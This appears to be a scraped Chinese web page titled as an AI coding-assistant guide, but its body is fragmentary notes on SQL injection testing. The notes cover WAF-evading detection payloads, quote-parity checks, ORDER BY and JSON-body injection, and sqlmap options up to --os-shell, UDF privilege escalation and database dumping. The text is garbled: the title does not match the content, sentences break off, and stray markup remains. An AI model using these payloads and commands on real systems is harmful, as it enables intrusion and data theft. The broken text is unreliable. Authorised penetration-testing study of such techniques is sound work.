OpenClaw主动式AI编程助手实战指南
2026/11/2 11:30:38
AND 1=1)极易被拦截或封禁IP 。database()(库名)或user()(当前用户)。dump(脱库)、严禁读取公民个人信息、严禁在DELETE/UPDATE/INSERT业务点使用扫描器(可能导致批量删库或垃圾数据污染)。select * from users where id = 1。参数直接参与运算,无需闭合引号 。select * from users where id = '1'。参数被引号包裹,占比最高,必须先闭合引号才能执行后续语句 。ORDER BY后面。因为ORDER BY后的参数如果是字符串(如'1')会导致排序功能失效,所以开发人员往往无法使用预编译(Prepare Statement),只能直接拼接,导致必然存在注入风险 。核心原理:数据库会将数学运算结果作为参数值执行。WAF通常只拦截SQL关键字,不拦截数字运算。
id=2-1。id=1的内容完全一致,且与id=2不同,则证明数据库执行了减法运算,存在注入 。id=1+1。+号会被浏览器解码为空格。因此传入后端的变成了id=1 1,导致测试失败 。id=1%2b1。若页面返回id=2的内容,则存在注入 。id=1 and 1=1/id=1 and 1=2。AND是 WAF 的重点拦截对象,容易触发拦截,不如算术运算隐蔽。原理:利用 SQL 语法的引号配对规则。此方法不使用AND、OR等敏感词,误报率极低且能绕过绝大多数 WAF。
假设后端 SQL 为:SELECT * FROM table WHERE id = '输入值'
'(1个单引号)→\rightarrow→报错id = '1''''(2个单引号)→\rightarrow→正常id = '1''''''(3个单引号)→\rightarrow→报错id = '1''''''''(4个单引号)→\rightarrow→正常id = '1'''''判定结论:只要符合“报错 - 正常 - 报错 - 正常”的规律,90% 以上概率存在字符型注入。
--+(MySQL注释符):--(后面必须有一个空格)。+代替空格(URL解码后为空格),即--+。#(Hash注释符):#代表锚点(Fragment),不会发送给服务器。%23才能被后端接收为注释符 。'='或' and '1'='1来手动闭合后端的单引号 。ORDER BY ?中传入'id',数据库会将其解析为按照字符串 “id” 排序(即所有行都一样),而不是按照列名id排序。原理:ORDER BY支持多列排序(order by col1, col2)。我们可以注入一个新的排序字段。
Payload 构造流程(假设注入点在order by后):
1 desc, 1→\rightarrow→正常回显1 desc, 0→\rightarrow→报错1 desc, 2→\rightarrow→正常回显1 desc, 9999→\rightarrow→报错ORDER BY后注入if(1=1,1,2)或sleep(5),这些函数会执行。updatexml)在排序处直接获取数据 。{"id": 1}。{"id": 1'}。1'不是合法的 JSON 数字或字符串,导致 Web 服务器层(如 Tomcat/Nginx/PHP解析器)直接抛出JSON Format Error,请求根本没传到数据库,导致漏测 。{"id": 1}修改为{"id": "1'"}。(int)$id),它会将字符串拼接到 SQL 中,此时单引号生效,触发注入 。\"进行转义,否则会破坏 JSON 结构 。'→\rightarrow→记录响应包长度(通常变短或报错)。''→\rightarrow→记录响应包长度(通常恢复正常)。SELECT、UNION等敏感词,WAF 几乎不拦截。sqlmap -u "url?id=1"。1.txt。sqlmap -r 1.txt。sqlmap -r 1.txt -p id。id参数。避免全量扫描浪费时间,适用于已知注入点的快速利用 。--sql-shell:SELECT查询,不能执行INSERT/UPDATE。--os-shell(获取系统Shell):FILE权限)。secure_file_priv为空(允许向任意路径写文件,默认是关闭的)。--os-pwn/ UDF 提权:--dump或--dump-all。除非红队明确授权,否则在 SRC 挖掘中属于违法行为 。Xray 的 SQL 注入检测能力被认为是公开工具中最强的,建议使用“被动扫描”模式。
xray genca生成 CA 证书。xray webscan --listen 127.0.0.1:7777 --html-output report.html。User Options->Upstream Proxy Servers。*,Proxy:127.0.0.1:7777。--plugins sqldet。